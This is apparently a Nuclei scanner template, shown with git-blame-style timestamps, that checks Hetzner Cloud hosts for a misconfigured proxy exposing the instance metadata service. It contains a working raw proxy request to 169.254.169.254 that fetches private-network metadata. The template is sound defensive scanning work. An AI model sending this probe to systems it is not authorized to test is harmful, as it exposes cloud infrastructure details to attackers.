2022-01-16 12:25:28 +00:00
id : metadata-service-hetzner
2022-04-22 10:38:41 +00:00
2022-01-16 12:25:28 +00:00
# This attack abuses a misconfigured proxy that allows access to the metadata
# IP or a name which resolves to the IP. A standard proxy request is made to
2022-02-15 06:09:56 +00:00
# the proxy using the full metadata URL, which the proxy will fulfill to its
# own metadata service.
2022-01-16 12:25:28 +00:00
#
# The proxy may also be vulnerable to host/port enumeration on localhost or
# inside the private network.
2022-04-22 10:38:41 +00:00
2022-01-16 12:25:28 +00:00
info :
name : Hetzner Cloud Metadata Service Check
author : sullo
severity : critical
description : The Hetzner Cloud host is configured as a proxy which allows access to the instance metadata service. This could allow significant access to the host/infrastructure.
reference :
- https://docs.hetzner.cloud/#server-metadata
- https://blog.projectdiscovery.io/abusing-reverse-proxies-metadata/
- https://www.mcafee.com/blogs/enterprise/cloud-security/how-an-attacker-could-use-instance-metadata-to-breach-your-app-in-aws/
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N
cvss-score : 9.3
cwe-id : CWE-441
2022-04-22 10:38:41 +00:00
remediation : Disable the proxy or restrict configuration to only allow access to approved hosts/ports. Upgrade to IMDSv2 if possible.
tags : exposure,config,hetzner,proxy,misconfig,metadata
2023-04-28 08:11:21 +00:00
metadata :
max-request : 2
2022-04-22 10:38:41 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-01-16 12:25:28 +00:00
- raw :
- |+
GET http://{{hostval}}/v1/metadata/private-networks HTTP/1.1
Host : {{hostval}}
2023-01-23 23:14:57 +00:00
2022-01-16 12:25:28 +00:00
payloads :
hostval :
2023-01-15 08:12:13 +00:00
- aws.oast.online
2022-01-16 12:25:28 +00:00
- 169.254 .169 .254
unsafe : true
matchers :
- type : word
part : body
words :
- "alias_ips:"
- "local-ipv4:"
- "instance-id:"
condition : or
2022-02-15 06:09:56 +00:00
# Enhanced by cs on 2022/02/14